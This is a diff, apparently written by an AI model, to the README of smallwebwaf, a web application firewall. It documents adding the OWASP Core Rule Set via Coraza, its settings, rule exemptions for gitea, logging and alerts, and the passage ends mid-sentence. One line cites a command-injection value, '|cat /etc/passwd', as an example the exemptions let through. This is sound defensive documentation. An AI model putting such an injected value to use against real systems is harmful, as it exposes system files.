The Core Rule Set, run by Coraza, on each request's method, URL and headers (closes #25 )

Coraza v3.8.1 runs the Core Rule Set 4.25.0 (coraza-coreruleset v4.25.0) after the rule files, with the six changes and the default SWWAF_WAF_DISABLED_RULES that SPEC.md gives; no body, no response. SWWAF_WAF_MODE, SWWAF_WAF_PARANOIA_LEVEL, SWWAF_WAF_ANOMALY_THRESHOLD and SWWAF_WAF_EXEMPT_PATHS as specified. In block mode a match is refused with 403, an offence counted toward the error burst; in detect mode it is let through. Both log waf_rule_ids, waf_score and duration_waf, raise waf_block, and count smallwebwaf_waf_matches_total. Judgement call: waf_block is raised in block mode too. Deviation: no engine-error path; with no body read, Coraza cannot fail. Model: opus-5-5
2026-10-08 05:44:13 +00:00
20 changed files with 1614 additions and 229 deletions
@@ -32,39 +32,43 @@ percentages fetched the same way, the DNS blocklists (DNSBL zones), which it
 asks about each client in the background, AbuseIPDB, which it asks in the
 background about each client that has committed an offence, and the decision
 list of a CrowdSec engine you run, which it fetches and keeps as a blocklist. So
-are two parts of the last stage, which need no Core Rule Set: the trap paths and
+is the last stage: attack detection with the OWASP Core Rule Set, run by Coraza,
-the error burst. `smallwebwaf` passes each request to the app and the app's
+on the method, the URL and the headers of each request, the trap paths and the
-answer back, unchanged, within its timeouts and size limits, works out each
+error burst. `smallwebwaf` passes each request to the app and the app's answer
-client's address, looks up its AS number and country unless you switch that off,
+back, unchanged, within its timeouts and size limits, works out each client's
-bans a client that sends too many requests or too many bytes, not counting those
+address, looks up its AS number and country unless you switch that off, bans a
-for the paths you choose, with lower limits for the clients of the AS numbers
+client that sends too many requests or too many bytes, not counting those for
-and countries you list, refuses a client that comes from a country you refuse or
+the paths you choose, with lower limits for the clients of the AS numbers and
 countries you list, refuses a client that comes from a country you refuse or
 from a network you refuse, refuses, limits or only notes a client a blocklist or
 a DNSBL zone you name lists, or AbuseIPDB scores at or over the score you set,
 bans a client your CrowdSec engine's decision list lists until that decision
 ends, lets the networks you choose through, checks each request against the rule
 files and the trap paths you name and bans a client whose request is a clear
-sign of attack, bans a client it refuses again and again within a minute for a
+sign of attack, refuses a request the Core Rule Set takes for an attack, bans a
-rule, a trap path or a missing or wrong token, keeps its bans, each client's
+client it refuses again and again within a minute for a rule, a trap path, the
 Core Rule Set or a missing or wrong token, keeps its bans, each client's
 counters and history, GeoJS's answers, the last good copy of each list it
 fetches, the DNSBL zones' verdicts, AbuseIPDB's scores and the AbuseIPDB checks
 spent today in JSON files across restarts, takes in your edits of those files,
 such as a ban you make, keep or lift, and of the rule files while it runs,
 writes a JSON log line for every request, sends its log lines to a syslog server
 too if you name one, sends an alert to a webhook, to Slack and to ntfy, each if
-you name one, for each ban it makes or makes permanent, for traffic over an
+you name one, for each ban it makes or makes permanent, for a request the Core
-anomaly threshold you set, for a client a blocklist, the CrowdSec decision list,
+Rule Set takes for an attack, for traffic over an anomaly threshold you set, for
-a DNSBL zone or AbuseIPDB lists, for GeoJS failing, a list it cannot fetch, a
+a client a blocklist, the CrowdSec decision list, a DNSBL zone or AbuseIPDB
-DNSBL zone or AbuseIPDB that fails or refuses a query and the day's AbuseIPDB
+lists, for GeoJS failing, a list it cannot fetch, a DNSBL zone or AbuseIPDB that
-checks used up, for a rule file or state file with an error and for a
+fails or refuses a query and the day's AbuseIPDB checks used up, for a rule file
-replacement of the lookup database it cannot read, serves Prometheus metrics to
+or state file with an error and for a replacement of the lookup database it
-a scraper that holds the metrics token, lets an admin who holds the admin token
+cannot read, serves Prometheus metrics to a scraper that holds the metrics
-list, add and lift bans and ask what it knows of a client, and in `observe` mode
+token, lets an admin who holds the admin token list, add and lift bans and ask
-passes on the requests it would refuse, logging what it would have done with
+what it knows of a client, and in `observe` mode passes on the requests it would
-them. It comes as the image the app's own image is built on. The rest of the
+refuse, logging what it would have done with them. It comes as the image the
-design comes after that, in the order of the build order in
+app's own image is built on. The Core Rule Set reads no request body yet:
-[`SPEC.md`](SPEC.md). The survey of existing tools that led to the design is in
+`SWWAF_WAF_BODY_LIMIT`, which switches that on, comes with
-[`EVALUATION.md`](EVALUATION.md).
+https://git.eeqj.de/sneak/smallwebwaf/issues/116. The rest of the design comes
 after that, in the order of the build order in [`SPEC.md`](SPEC.md). The survey
 of existing tools that led to the design is in [`EVALUATION.md`](EVALUATION.md).
 ## Getting started
@@ -121,13 +125,14 @@ in `bin/state` unless `SWWAF_STATE_DIR` is set, and the default rule file of
  bans the client. A request whose path starts with one of
  `SWWAF_RATE_LIMIT_EXEMPT_PATHS`, as that setting below describes, is neither
  counted nor refused by the rate limits; the static lists, bans, the country
-  lists and the rule files still apply to it. A client is one IPv4 address, or
+  lists, the rule files and the Core Rule Set still apply to it. A client is one
-  one IPv6 group, the netblock of `SWWAF_IPV6_GROUP_PREFIX` its address is in, a
+  IPv4 address, or one IPv6 group, the netblock of `SWWAF_IPV6_GROUP_PREFIX` its
-  /64 by default, since one abuser usually holds a whole /64. Each window is
+  address is in, a /64 by default, since one abuser usually holds a whole /64.
-  counted in two fixed buckets, the earlier one weighted by how much of it the
+  Each window is counted in two fixed buckets, the earlier one weighted by how
-  window still covers. At most `SWWAF_MAX_TRACKED_CLIENTS` clients are kept,
+  much of it the window still covers. At most `SWWAF_MAX_TRACKED_CLIENTS`
-  20,000 by default, the least recently seen dropped first, with their history,
+  clients are kept, 20,000 by default, the least recently seen dropped first,
-  and a restart gives no client a fresh allowance (see "State files" below).
+  with their history, and a restart gives no client a fresh allowance (see
  "State files" below).
 - Counts each client's bytes over a minute, an hour and a day, in the same way:
  once a request passed to the app has ended, the body bytes of its answer, of
  the request, or of both, as `SWWAF_BYTES_COUNT` says. For a WebSocket, or any
@@ -196,6 +201,40 @@ in `bin/state` unless `SWWAF_STATE_DIR` is set, and the default rule file of
  `/wp-login.php` matches `/wp-login.php?redirect_to=x`, but not
  `/wp-login.php/`, `/WP-LOGIN.PHP`, `/blog/wp-login.php` or `/%77p-login.php`.
  A client in `SWWAF_ALLOW_NETS` is not checked.
 - Inspects each request with the OWASP Core Rule Set 4.25.0, run by Coraza,
  after the rule files, unless `SWWAF_WAF_MODE` is `off`: its method, its URL
  with the query, and its headers, but no request body and no response. Each of
  its rules that matches adds to the request's anomaly score, up to the paranoia
  level `SWWAF_WAF_PARANOIA_LEVEL` sets. A score at or over
  `SWWAF_WAF_ANOMALY_THRESHOLD`, 5 by default, is a match: in `block` mode, the
  default, the request is refused with `403`, and in `detect` mode it goes on to
  the app. Either way its log line names the rules and the score (see
  `waf_rule_ids` and `waf_score` in "Request log" below), and it raises a
  `waf_block` alert. A refusal bans no one by itself, since the Core Rule Set
  takes some ordinary requests for attacks, but it is an offence the client's
  history counts, and it counts toward the error burst; a match in `detect` mode
  is neither. A request a rule file refuses, one for a path
  `SWWAF_WAF_EXEMPT_PATHS` exempts, and one from a client in `SWWAF_ALLOW_NETS`
  are not inspected. `smallwebwaf` changes the Core Rule Set in six ways, so
  that gitea's ordinary requests get through, and no setting undoes them:
    - `PUT`, `PATCH` and `DELETE` are allowed besides `GET`, `HEAD`, `POST` and
      `OPTIONS`; any other method stays refused.
    - The headers `Expect` and `Content-Encoding` are allowed; the others the
      Core Rule Set refuses, such as `Proxy` and `Content-Range`, stay refused.
    - The query parameter `redirect_uri` is not checked for a URL naming an IP
      address or `localhost` (rules 931100 and 934110), which Git Credential
      Manager, git-credential-oauth and tea ask to be sent back to.
    - The query parameters `path`, `files`, `skip-to`, `sub_path`, `ref`, `sha`,
      `branch`, `workflow`, `artifactName` and `redirect_to` are not checked
      against the lists of system files (930120), shell paths (932160) and
      command names (932260), so that a file such as `.gitignore` or a branch
      such as `docker-build` gets through there. So does what only these rules
      refuse, such as `|cat /etc/passwd`; path traversal and SQL injection are
      still refused there.
    - The cookies `gitea_flash` and `redirect_to` are not read, and `Referer` is
      not checked for a Unix command given without arguments (932340) or for
      Java starting a process (944110); it is checked by every other rule.
    - Responses are not inspected.
 - Bans a client for a clear sign of attack, as "Bans" in [`SPEC.md`](SPEC.md)
  describes: the first such ban lasts `SWWAF_ATTACK_BAN_DURATION`, seven days by
  default, and any request from the netblock while it lasts makes it permanent.
@@ -207,18 +246,18 @@ in `bin/state` unless `SWWAF_STATE_DIR` is set, and the default rule file of
  path asked for, in place of the limit.
 - Bans a client that `smallwebwaf` refused more than
  `SWWAF_ERROR_BURST_THRESHOLD` times within a minute, 30 by default, after a
-  match of a `block` or `ban` rule or a trap path, or for a missing or wrong
+  match of a `block` or `ban` rule, a trap path or the Core Rule Set, or for a
-  token at one of its own endpoints, as a broken rate limit bans it. Each such
+  missing or wrong token at one of its own endpoints, as a broken rate limit
-  refusal is counted once it has been answered, in two buckets of a minute, as
+  bans it. Each such refusal is counted once it has been answered, in two
-  the rate limits count requests. The refusal that takes the client over the
+  buckets of a minute, as the rate limits count requests. The refusal that takes
-  threshold breaks the error burst; it is answered as any other such refusal is,
+  the client over the threshold breaks the error burst; it is answered as any
-  and the client's next request is refused under the ban. The app's own answers,
+  other such refusal is, and the client's next request is refused under the ban.
-  such as its `401` and `404`, are not counted. The threshold is the same for
+  The app's own answers, such as its `401` and `404`, are not counted. The
-  every client, whatever percentage of the rate limits a biased threshold or a
+  threshold is the same for every client, whatever percentage of the rate limits
-  reputation source gives it. A client in `SWWAF_ALLOW_NETS` is not counted, and
+  a biased threshold or a reputation source gives it. A client in
-  one in `SWWAF_RATE_LIMIT_EXEMPT_NETS` is. The ban's notes give `refusals` as
+  `SWWAF_ALLOW_NETS` is not counted, and one in `SWWAF_RATE_LIMIT_EXEMPT_NETS`
-  what the limit is on, the threshold as the limit, and the refusals counted in
+  is. The ban's notes give `refusals` as what the limit is on, the threshold as
-  the minute.
+  the limit, and the refusals counted in the minute.
 - Looks up the AS number and country of every client through GeoJS, or in the
  IPinfo Lite database file while `SWWAF_LOOKUP_SOURCE` is `file`, after the
  static lists and bans, unless `SWWAF_LOOKUP_SOURCE` is `off` (see "Country and
@@ -270,49 +309,50 @@ in `bin/state` unless `SWWAF_STATE_DIR` is set, and the default rule file of
  DNSBL zones and before the rate limits (see "AbuseIPDB" below), by the scores
  it keeps. Only a client whose history counts an offence is checked, so far one
  that has broken a rate limit, a byte limit or the error burst, matched a ban
-  rule, asked for a trap path, or had a request refused by a block rule or for a
+  rule, asked for a trap path, or had a request refused by a block rule, by the
-  missing or wrong token, and only in the background, so that no request waits
+  Core Rule Set or for a missing or wrong token, and only in the background, so
-  for AbuseIPDB. A score at or over `SWWAF_ABUSEIPDB_MIN_SCORE` is a hit, and
+  that no request waits for AbuseIPDB. A score at or over
-  `SWWAF_REPUTATION_ACTION` does with its client what it does with one a DNSBL
+  `SWWAF_ABUSEIPDB_MIN_SCORE` is a hit, and `SWWAF_REPUTATION_ACTION` does with
-  zone's verdict lists. The request's log line names AbuseIPDB, and it raises an
+  its client what it does with one a DNSBL zone's verdict lists. The request's
-  alert. A client a blocklist or a DNSBL zone refuses, or the CrowdSec decision
+  log line names AbuseIPDB, and it raises an alert. A client a blocklist or a
-  list bans, is not checked.
+  DNSBL zone refuses, or the CrowdSec decision list bans, is not checked.
 - Checks the client's own address against the static lists, the three netblock
  settings below, before anything else, its lookup included. A client in
  `SWWAF_ALLOW_NETS` skips bans, the country lists, the blocklists, the CrowdSec
  decision list, the DNSBL zones, AbuseIPDB, the rate limits, the byte limits,
-  the trap paths, the rule files and the error burst, and is not looked up; the
+  the trap paths, the rule files, the Core Rule Set and the error burst, and is
-  timeouts and size limits still apply. A client in `SWWAF_DENY_NETS` is refused
+  not looked up; the timeouts and size limits still apply. A client in
-  with `SWWAF_BAN_RESPONSE` before its body is read, and the request is not
+  `SWWAF_DENY_NETS` is refused with `SWWAF_BAN_RESPONSE` before its body is
-  counted for the rate limits; an address in `SWWAF_ALLOW_NETS` too is let
+  read, and the request is not counted for the rate limits; an address in
-  through. A client in `SWWAF_RATE_LIMIT_EXEMPT_NETS` is neither counted nor
+  `SWWAF_ALLOW_NETS` too is let through. A client in
-  refused by the rate limits, and has no bytes counted by the byte limits; the
+  `SWWAF_RATE_LIMIT_EXEMPT_NETS` is neither counted nor refused by the rate
-  country lists, the trap paths, the rule files, the error burst and bans still
+  limits, and has no bytes counted by the byte limits; the country lists, the
  trap paths, the rule files, the Core Rule Set, the error burst and bans still
  apply to it.
 - In `observe` mode, with `SWWAF_MODE=observe`, refuses none of the requests
  that `SWWAF_DENY_NETS`, a ban, the country lists, a blocklist, the CrowdSec
  decision list, a DNSBL zone's verdict, AbuseIPDB's score, a rate limit, a trap
-  path or a rule would refuse: it passes them to the app, and their log lines
+  path, a rule or the Core Rule Set would refuse: it passes them to the app, and
-  name what `enforce` mode would have done (see `would_action` in "Request log"
+  their log lines name what `enforce` mode would have done (see `would_action`
-  below). The checks run, and requests, bytes and refusals are counted, as in
+  in "Request log" below). The checks run, and requests, bytes and refusals are
-  `enforce` mode, with three differences: neither a broken rate limit, byte
+  counted, as in `enforce` mode, with three differences: neither a broken rate
-  limit or error burst, a `ban` rule, a trap path nor the CrowdSec decision list
+  limit, byte limit or error burst, a `ban` rule, a trap path nor the CrowdSec
-  makes a ban; a broken limit does not set the client's counters back to zero,
+  decision list makes a ban; a broken limit does not set the client's counters
-  so each request over a rate limit is logged as one that would be refused, each
+  back to zero, so each request over a rate limit is logged as one that would be
-  whose bytes keep the client over a byte limit as breaking it, and each refusal
+  refused, each whose bytes keep the client over a byte limit as breaking it,
-  that keeps it over the error burst as breaking that; and a request under a ban
+  and each refusal that keeps it over the error burst as breaking that; and a
-  does not make it permanent. As in `enforce` mode, the bytes counted are only
+  request under a ban does not make it permanent. As in `enforce` mode, the
-  those of the requests `enforce` mode would have passed to the app, and the
+  bytes counted are only those of the requests `enforce` mode would have passed
-  refusals counted for the error burst only those it would have made: a request
+  to the app, and the refusals counted for the error burst only those it would
-  it would have refused before it reached an endpoint is not counted for its
+  have made: a request it would have refused before it reached an endpoint is
-  token. A ban it would have made, or made permanent, raises the alert `enforce`
+  not counted for its token. A ban it would have made, or made permanent, raises
-  mode would have raised, marked as what would have happened (see "Alerts"
+  the alert `enforce` mode would have raised, marked as what would have happened
-  below). The bans in `bans.json` are kept, and refuse requests again when
+  (see "Alerts" below). The bans in `bans.json` are kept, and refuse requests
-  `smallwebwaf` next runs in `enforce` mode, as long as they last. The timeouts
+  again when `smallwebwaf` next runs in `enforce` mode, as long as they last.
-  and size limits still apply, since they protect `smallwebwaf` and the app
+  The timeouts and size limits still apply, since they protect `smallwebwaf` and
-  themselves, and a request for one of `smallwebwaf`'s own endpoints without its
+  the app themselves, and a request for one of `smallwebwaf`'s own endpoints
-  token is still answered `401`. It is for trying a configuration before
+  without its token is still answered `401`. It is for trying a configuration
-  enforcing it.
+  before enforcing it.
 - Answers `GET /_smallwebwaf/healthz` itself with `200` and `ok`, before any
  check and without asking the app, for the image's health check.
 - Answers `GET /_smallwebwaf/metrics` with its metrics (see "Metrics" below) for
@@ -331,17 +371,18 @@ in `bin/state` unless `SWWAF_STATE_DIR` is set, and the default rule file of
 - Sends every line it writes on stdout to a syslog server as well, while
  `SWWAF_LOG_REMOTE_URL` names one (see "Sending the log to a syslog server"
  below).
- Sends an alert for each ban it makes or makes permanent, for a count over an
+- Sends an alert for each ban it makes or makes permanent, for a match of the
-  anomaly threshold, for a client a blocklist, the CrowdSec decision list, a
+  Core Rule Set, for a count over an anomaly threshold, for a client a
-  DNSBL zone or AbuseIPDB lists, for GeoJS failing, a list it cannot fetch, the
+  blocklist, the CrowdSec decision list, a DNSBL zone or AbuseIPDB lists, for
-  CrowdSec decision list among them, a DNSBL zone or AbuseIPDB that fails or
+  GeoJS failing, a list it cannot fetch, the CrowdSec decision list among them,
-  refuses a query, and the day's AbuseIPDB checks used up, for a rule file or
+  a DNSBL zone or AbuseIPDB that fails or refuses a query, and the day's
-  state file with an error, and for a replacement of the lookup database it
+  AbuseIPDB checks used up, for a rule file or state file with an error, and for
-  cannot read, holding back repeats and, past an hourly limit, rolling the rest
+  a replacement of the lookup database it cannot read, holding back repeats and,
-  into one summary, to each destination you name: as a JSON object to the
+  past an hourly limit, rolling the rest into one summary, to each destination
-  webhook `SWWAF_ALERT_WEBHOOK_URL` names, as a message to the Slack incoming
+  you name: as a JSON object to the webhook `SWWAF_ALERT_WEBHOOK_URL` names, as
-  webhook `SWWAF_ALERT_SLACK_WEBHOOK_URL` names, and as a message to the ntfy
+  a message to the Slack incoming webhook `SWWAF_ALERT_SLACK_WEBHOOK_URL` names,
-  topic `SWWAF_ALERT_NTFY_URL` names (see "Alerts" below).
+  and as a message to the ntfy topic `SWWAF_ALERT_NTFY_URL` names (see "Alerts"
  below).
 - Counts requests and their bytes over a minute and an hour, per client, per
  netblock around a client, per AS number, for the whole service and per named
  netblock, and sends an `anomaly` alert for a count over the anomaly threshold
@@ -621,6 +662,35 @@ effective settings are logged at start, unless `SWWAF_LOG_LEVEL` is `warn` or
  rule files. A directory that does not exist stops the start.
 - `SWWAF_RULES_ENABLED` (default `true`): `false` reads no rule file, and checks
  no request against one.
 - `SWWAF_WAF_MODE` (default `block`): what the Core Rule Set does with a match:
  `block` refuses it with `403`, `detect` lets it through, logged and alerted,
  and `off` inspects no request (see "What it does so far" above).
 - `SWWAF_WAF_PARANOIA_LEVEL` (default `1`): the Core Rule Set's paranoia level,
  from 1 to 4. Each level up runs more of its rules, which find more attacks and
  take more ordinary requests for them.
 - `SWWAF_WAF_ANOMALY_THRESHOLD` (default `5`): the anomaly score at which a
  request is a match. A rule the Core Rule Set rates critical adds 5, so by
  default one such rule is enough. `off` makes no request a match; the scores
  are still logged.
 - `SWWAF_WAF_DISABLED_RULES` (default
  `920340,920420,920440,920640,930130,930140`): the ids of the Core Rule Set's
  rules to switch off, such as one that refuses ordinary requests of your app;
  the request log names the rules a request matched in `waf_rule_ids`. The
  default switches off the rules that refuse a request for the type of its body,
  when it is missing or not on the Core Rule Set's short list (920340, 920420,
  920640), for its file extension, such as `.sh` or `.sql` (920440), and for a
  file or directory name in its path, such as `.git/`, `.gitignore`,
  `Dockerfile`, `package.json` or an editor's settings directory (930130,
  930140). In front of a code forge these refuse git over HTTP, container image
  and package uploads, and views of ordinary files in a repository; the default
  rule file bans the common probes for such files at the site root instead (see
  "Rule files" below). A list given replaces the default, so include them in it;
  set but empty, it switches no rule off. An item that is not a whole number
  above zero stops the start, and the id of no rule switches nothing off.
 - `SWWAF_WAF_EXEMPT_PATHS` (default empty): path prefixes whose requests the
  Core Rule Set does not inspect, each starting with `/`, matched as
  `SWWAF_RATE_LIMIT_EXEMPT_PATHS` matches its own: a request whose path holds
  `..`, a backslash or an encoded slash is inspected whatever its prefix.
 - `SWWAF_TRAP_PATHS` (default empty): paths the app never serves and only
  scanners ask for, such as `/wp-login.php,/xmlrpc.php` in front of gitea; a
  request for one bans its client for a clear sign of attack, as a `ban` rule
@@ -628,11 +698,12 @@ effective settings are logged at start, unless `SWWAF_LOG_LEVEL` is `warn` or
  that does not start with `/`, or holds a `?`, which no path a `path` rule sees
  holds, stops the start.
 - `SWWAF_ERROR_BURST_THRESHOLD` (default `30`): the most requests of a client in
-  a minute that `smallwebwaf` may refuse after a rule file match or a trap path,
+  a minute that `smallwebwaf` may refuse after a rule file match, a trap path or
-  or for a missing or wrong token; one more breaks the error burst, and bans the
+  a Core Rule Set match, or for a missing or wrong token; one more breaks the
-  client as a broken rate limit does (see "What it does so far" above). A client
+  error burst, and bans the client as a broken rate limit does (see "What it
-  trying one probe or token after another is refused many times a minute, a
+  does so far" above). A client trying one probe or token after another is
-  person rarely more than a few times. `off` switches it off.
+  refused many times a minute, a person rarely more than a few times. `off`
  switches it off.
 - `SWWAF_LOG_REMOTE_URL` (default unset): a syslog server that every line on
  stdout is also sent to, as `syslog+udp://`, `syslog+tcp://` or `syslog+tls://`
  with a host and a port, such as `syslog+tls://logs.example:6514`. Unset or
@@ -678,8 +749,7 @@ effective settings are logged at start, unless `SWWAF_LOG_LEVEL` is `warn` or
  `SWWAF_INSTANCE_NAME`, which ntfy is sent in the title.
 - `SWWAF_ALERT_EVENTS` (default
  `ban,permanent_ban,waf_block,anomaly,reputation_hit,source_failure,file_error`):
-  the events alerts are sent for. `waf_block` comes with the Core Rule Set;
+  the events alerts are sent for.
  nothing raises it yet.
 - `SWWAF_ALERT_COOLDOWN` (default `15m`): how long a repeat of an alert is held
  back (see "Alerts" below).
 - `SWWAF_ALERT_MAX_PER_HOUR` (default `60`): the most alerts sent in an hour;
@@ -727,8 +797,9 @@ number, in either case. Percentages are whole numbers from 0 to 100, and an
 entry of a list of them is an AS number or a country, `:` and a percentage; an
 AS number or a country listed twice in one of them stops the start. `off`
 switches a timeout, a size limit, a rate limit, a byte limit, an anomaly
-threshold, `SWWAF_ERROR_BURST_THRESHOLD`, `SWWAF_ALERT_COOLDOWN` or
+threshold, `SWWAF_WAF_ANOMALY_THRESHOLD`, `SWWAF_ERROR_BURST_THRESHOLD`,
-`SWWAF_ALERT_MAX_PER_HOUR` off; `SWWAF_IPV6_GROUP_PREFIX`,
+`SWWAF_ALERT_COOLDOWN` or `SWWAF_ALERT_MAX_PER_HOUR` off;
 `SWWAF_IPV6_GROUP_PREFIX`, `SWWAF_WAF_PARANOIA_LEVEL`,
 `SWWAF_MAX_TRACKED_CLIENTS`, `SWWAF_CLIENT_REQUEST_HEADER_MAX_BYTES`,
 `SWWAF_LOOKUP_TIMEOUT`, `SWWAF_UNKNOWN_LIMIT_PERCENT`,
 `SWWAF_BLOCKLIST_REFRESH`, `SWWAF_ABUSEIPDB_MIN_SCORE`,
@@ -831,18 +902,19 @@ which every line has.
  path or the CrowdSec decision list lists its client, each of which bans its
  client, `country_denied` for one refused for its client's country,
  `rate_limited` for one that broke a rate limit and banned its client,
-  `rule_blocked` for one a `block` rule refused, `too_large` for a request or
+  `rule_blocked` for one a `block` rule refused, `waf_blocked` for one the Core
-  response over its size limit, `timed_out` for one that ran out of time,
+  Rule Set refused, `too_large` for a request or response over its size limit,
-  `upstream_error` when the app could not be reached or its answer broke off,
+  `timed_out` for one that ran out of time, `upstream_error` when the app could
-  and `admin` for one `smallwebwaf` answered at its own endpoint.
+  not be reached or its answer broke off, and `admin` for one `smallwebwaf`
  answered at its own endpoint.
 - `would_action` is there in `observe` mode for a request that
  `SWWAF_DENY_NETS`, a ban, the country lists, a blocklist, the CrowdSec
  decision list, a DNSBL zone's verdict, AbuseIPDB's score, a rate limit, a trap
-  path or a rule would have refused in `enforce` mode, and names the action that
+  path, a rule or the Core Rule Set would have refused in `enforce` mode, and
-  refusal would have had: `denied`, `banned`, `country_denied`, `rate_limited`
+  names the action that refusal would have had: `denied`, `banned`,
-  or `rule_blocked`. `action` then names what was done: `forward` for a request
+  `country_denied`, `rate_limited`, `rule_blocked` or `waf_blocked`. `action`
-  passed to the app, and another action, such as `too_large`, for one a size or
+  then names what was done: `forward` for a request passed to the app, and
-  time limit refused.
+  another action, such as `too_large`, for one a size or time limit refused.
 - `limit_percent` is there for a request the rate limits count whose client a
  biased threshold, `SWWAF_BLOCKLIST_ACTION` for a blocklist that lists it, or
  `SWWAF_REPUTATION_ACTION` for a DNSBL zone whose verdict lists it or an
@@ -868,6 +940,12 @@ which every line has.
  counted before it.
 - `rule_ids` is there for a request that matched rules of the rule files, and
  lists their ids in the order they matched, up to the one that refused it.
 - `waf_score` is there for a request the Core Rule Set inspected, and gives its
  anomaly score, `0` for one no rule matched; `waf_rule_ids` lists the ids of
  the rules that matched, in the order they ran, and is left out when none did.
  A request is a match when its score is at or over
  `SWWAF_WAF_ANOMALY_THRESHOLD`: in `block` mode its `action` is `waf_blocked`,
  and in `detect` mode what it would have been otherwise, such as `forward`.
 - `limit_hit` is there for a request that broke a rate limit or the error burst,
  or whose bytes broke a byte limit, and names the window whose limit it went
  over as `counts` names it: `minute`, `hour` or `day` for a rate limit, and
@@ -900,7 +978,8 @@ which every line has.
 - The timings are in milliseconds, to the microsecond. `duration_total` runs
  from when the request's headers had been read to when its line is written, and
  `duration_checks` over the same start to when the checks were done; the health
-  check runs none, and its line has no `duration_checks`.
+  check runs none, and its line has no `duration_checks`. `duration_waf`, the
  part of the checks the Core Rule Set took, is there with `waf_score`.
  `duration_upstream_connect`, `duration_upstream_first_byte` and
  `duration_upstream_total` are there for a request passed to the app, and run
  from when it was handed to the app: until there was a connection to it, new or
@@ -960,6 +1039,10 @@ it, as below. An alert is for one of these events, and is sent when
  clear sign of attack, or a client the CrowdSec decision list lists.
 - `permanent_ban`: a permanent ban it makes, or a ban for a clear sign of attack
  that a request made permanent.
 - `waf_block`: a request the Core Rule Set scored at or over
  `SWWAF_WAF_ANOMALY_THRESHOLD`, in `block` mode, which refused it, and in
  `detect` mode, which let it through, with `mode`, `detect`, in its `detail`;
  in `observe` mode, `block` refused nothing either, and `mode` is `observe`.
 - `anomaly`: a count of requests or bytes over an anomaly threshold, raised by
  each request that ends with the count over it, in `observe` mode as in
  `enforce` mode. It refuses and bans nothing.
@@ -1036,19 +1119,21 @@ is sent on one line:
 - `client` is the address of the client whose request raised the alert, and
  `netblock` the netblock of the ban, or for an `anomaly`, the netblock counted:
  the client's own, the netblock around it or a named netblock, and none for an
-  AS number or the whole service, or for a `reputation_hit`, the client's own,
+  AS number or the whole service, or for a `reputation_hit` or a `waf_block`,
-  as `client_group` gives it; both are empty for `source_failure` and
+  the client's own, as `client_group` gives it; both are empty for
-  `file_error`. `asn`, `as_name` and `country` are, for a ban, the client's as
+  `source_failure` and `file_error`. `asn`, `as_name` and `country` are, for a
-  the ban's notes give them when the alert is raised: empty, as in this alert,
+  ban, the client's as the ban's notes give them when the alert is raised:
-  when GeoJS had not answered about the client by then; for an `anomaly`, the
+  empty, as in this alert, when GeoJS had not answered about the client by then;
-  client's as the lookup gave them by the time its request ended; for a
+  for an `anomaly`, the client's as the lookup gave them by the time its request
-  `reputation_hit`, the client's as its request's log line gives them.
+  ended; for a `reputation_hit` or a `waf_block`, the client's as its request's
  log line gives them.
 - `reason` is a short sentence; for a ban, the ban's `reason` in `bans.json`;
  for an `anomaly`, what was counted over which threshold, such as
  `requests per minute of the netblock 203.0.113.0/24 over the threshold of 1000`;
  for a `reputation_hit`, `listed by a blocklist`,
  `listed by the CrowdSec decision list`, `listed by a DNSBL zone` or
-  `scored by AbuseIPDB at or over SWWAF_ABUSEIPDB_MIN_SCORE`.
+  `scored by AbuseIPDB at or over SWWAF_ABUSEIPDB_MIN_SCORE`; for a `waf_block`,
  `scored by the Core Rule Set at or over SWWAF_WAF_ANOMALY_THRESHOLD`.
 - `detail` is what is particular to the event: for a ban, its `cause`, when it
  ends as `ban_expires`, in the form the request log gives it, and its `notes`,
  as `bans.json` gives them; for an `anomaly`, the `scope`, `client`, `net`,
@@ -1057,11 +1142,14 @@ is sent on one line:
  or `hour`, the `kind`, `requests` or `bytes`, the `count`, which is weighted
  as the rate limits weigh theirs, and the `threshold`; for a `reputation_hit`,
  the `source`, the URL of the blocklist or of the CrowdSec decision list, the
-  zone or `abuseipdb`, and for AbuseIPDB the `score`; for `source_failure`, the
+  zone or `abuseipdb`, and for AbuseIPDB the `score`; for a `waf_block`, the
-  `source`, `geojs`, the URL of the list, the zone or `abuseipdb`, the `error`,
+  `rule_ids` and the `score`, as the request log gives them, the request's
-  and for GeoJS, when it is asked again, `asking_again_in`; for `file_error`,
+  `method`, its `path` with the query, and the `mode` when the request was not
-  the `file`, which for an edit set aside is the file it was renamed to, and the
+  refused for it; for `source_failure`, the `source`, `geojs`, the URL of the
-  `error`, which for a file that does not parse names where in it the error is.
+  list, the zone or `abuseipdb`, the `error`, and for GeoJS, when it is asked
  again, `asking_again_in`; for `file_error`, the `file`, which for an edit set
  aside is the file it was renamed to, and the `error`, which for a file that
  does not parse names where in it the error is.
 - `suppressed_repeats` is how many repeats the cooldown held back before this
  alert, and for a `summary`, those no other alert gives (see below).
@@ -1182,9 +1270,10 @@ with times in UTC.
  with `401` for a missing or wrong token), the body bytes in each direction,
  its responses by status class and its offences by kind: `limit` for a broken
  rate limit, byte limit or error burst, `attack` for a clear sign of attack,
-  `rule_blocked` for a request a `block` rule refused and `token_refused` for
+  `rule_blocked` for a request a `block` rule refused, `waf_blocked` for one the
-  one refused for a missing or wrong token. Each client is on a line of its own,
+  Core Rule Set refused and `token_refused` for one refused for a missing or
-  so `grep` shows everything about one.
+  wrong token. Each client is on a line of its own, so `grep` shows everything
  about one.
 - `lookups.json`: GeoJS's answers, one to a line, each with the client's AS
  number, AS name and country, when GeoJS gave it and when it was last used.
 - `reputation.json`: each list fetched from a URL (see "Blocklists" and
@@ -1467,15 +1556,18 @@ scraped, and keeps this one as `exported_instance` unless the scrape sets
  `refusals` for the error burst, whose window is `minute`,
  `smallwebwaf_size_and_time_limit_hits_total` by `limit`, the setting whose
  limit was passed, `smallwebwaf_offences_total` by `kind`, `limit`, `attack`,
-  `rule_blocked` or `token_refused`, as `clients.json` counts them, and
+  `rule_blocked`, `waf_blocked` or `token_refused`, as `clients.json` counts
-  `smallwebwaf_bans_made_total` by `cause`, `limit`, `attack`, `admin` or
+  them, and `smallwebwaf_bans_made_total` by `cause`, `limit`, `attack`, `admin`
-  `crowdsec`, `admin` for the bans you add through `POST /_smallwebwaf/bans`,
+  or `crowdsec`, `admin` for the bans you add through `POST /_smallwebwaf/bans`,
  and those whose `cause` is `admin` that you add to `bans.json` while
  `smallwebwaf` runs; `smallwebwaf_active_bans` and
  `smallwebwaf_permanent_bans`, neither of which counts a lifted ban.
 - `smallwebwaf_rule_matches_total`: the requests that matched each rule, by
  `rule_id` and `action`, the rule's own; and `smallwebwaf_rules_loaded`: the
  rules read from the rule files.
 - `smallwebwaf_waf_matches_total`: the requests that matched each rule of the
